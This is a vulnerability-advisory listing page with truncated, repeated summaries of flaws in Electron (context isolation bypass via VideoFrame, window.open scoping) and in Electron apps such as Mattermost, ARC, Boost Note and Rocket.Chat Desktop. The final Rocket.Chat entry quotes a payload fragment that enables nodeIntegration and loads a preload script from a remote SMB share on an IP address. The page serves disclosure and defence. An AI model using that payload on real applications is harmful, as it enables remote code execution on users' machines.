CVE-2026-34765 Electron named window.open targets not scoped to the opener's browsing context

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. Prior to 39.8.5, 40.8.5, 41.1.0, and 42.0.0-alpha.5, when a renderer calls window.open with a target name, Electron did not correctly scope the named-window lookup to the opener's browsing...

CVE-2026-34780

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. From versions 39.0.0-alpha.1 to before 39.8.0, 40.0.0-alpha.1 to before 40.7.0, and 41.0.0-alpha.1 to before 41.0.0-beta.8, apps that pass VideoFrame objects from the WebCodecs API across the...

CVE-2026-34780

CVE-2026-34780 / GHSA-jfqg-hf23-qpw2 : Electron context isolation bypass via VideoFrame transfer across contextBridge. If a preload script exposes a bridged VideoFrame to the main world (e.g., via contextBridge.exposeInMainWorld), an attacker with JavaScript in the main world (such as via XSS) ca...

CVE-2026-34780

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. From versions 39.0.0-alpha.1 to before 39.8.0, 40.0.0-alpha.1 to before 40.7.0, and 41.0.0-alpha.1 to before 41.0.0-beta.8, apps that pass VideoFrame objects from the WebCodecs API across the...

CVE-2026-34780 Electron: Context Isolation bypass via contextBridge VideoFrame transfer

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. From versions 39.0.0-alpha.1 to before 39.8.0, 40.0.0-alpha.1 to before 40.7.0, and 41.0.0-alpha.1 to before 41.0.0-beta.8, apps that pass VideoFrame objects from the WebCodecs API across the...

CVE-2026-34780 Electron: Context Isolation bypass via contextBridge VideoFrame transfer

Electron is a framework for writing cross-platform desktop applications using JavaScript, HTML and CSS. From versions 39.0.0-alpha.1 to before 39.8.0, 40.0.0-alpha.1 to before 40.7.0, and 41.0.0-alpha.1 to before 41.0.0-beta.8, apps that pass VideoFrame objects from the WebCodecs API across the...

Insecure Default Initialization of Resource

Overview electron is a framework which lets you write cross-platform desktop applications using JavaScript, HTML and CSS. Affected versions of this package are vulnerable to Insecure Default Initialization of Resource in the transfer of VideoFrame objects via contextBridge. An attacker can gain...

GHSA-JFQG-HF23-QPW2 Electron: Context Isolation bypass via contextBridge VideoFrame transfer

Impact Apps that pass VideoFrame objects from the WebCodecs API across the contextBridge are vulnerable to a context isolation bypass. An attacker who can execute JavaScript in the main world for example, via XSS can use a bridged VideoFrame to gain access to the isolated world, including any...

Electron: Context Isolation bypass via contextBridge VideoFrame transfer

Impact Apps that pass VideoFrame objects from the WebCodecs API across the contextBridge are vulnerable to a context isolation bypass. An attacker who can execute JavaScript in the main world for example, via XSS can use a bridged VideoFrame to gain access to the isolated world, including any...

PT-2026-30010

Impact Apps that pass VideoFrame objects from the WebCodecs API across the contextBridge are vulnerable to a context isolation bypass. An attacker who can execute JavaScript in the main world for example, via XSS can use a bridged VideoFrame to gain access to the isolated world, including any...

CVE-2026-1628

Mattermost Desktop App versions =5.13.3 fail to attach listeners restricting navigation to external sites within the Mattermost app which allows a malicious server to expose preload script functionality to untrusted servers via having a user open an external link in their Mattermost server...

CVE-2026-1628

Mattermost Desktop App versions =5.13.3 fail to attach listeners restricting navigation to external sites within the Mattermost app which allows a malicious server to expose preload script functionality to untrusted servers via having a user open an external link in their Mattermost server...

Execution with Unnecessary Privileges in arc-electron

When the end-user click on the response header that contains a link the target will be opened in ARC new window. This window will have the default preload script loaded which allows the scripts embedded in the link target to execute any logic that ARC has access to from the renderer process, whic...

Boost Note 注入漏洞

Boost Note is an open source developer-friendly workspace with IDE-like UX. it provides the following features focusing on information management and searchability. A security vulnerability exists in Boost Note versions prior to 0.22.0 that stems from a lack of effective filtering and validation ...

Rocket.Chat: Remote Code Execution in Rocket.Chat-Desktop

Description: Rocket.Chat-Desktop is vulnerable to remote code execution. An attacker is able to create new BrowserWindow instances with a malicious preload script. Releases Affected: Rocket.Chat-Desktop-Client: PWNED', '', 'nodeIntegration=true', 'preload=\\45.155.173.235\data\cmd.js'.join','...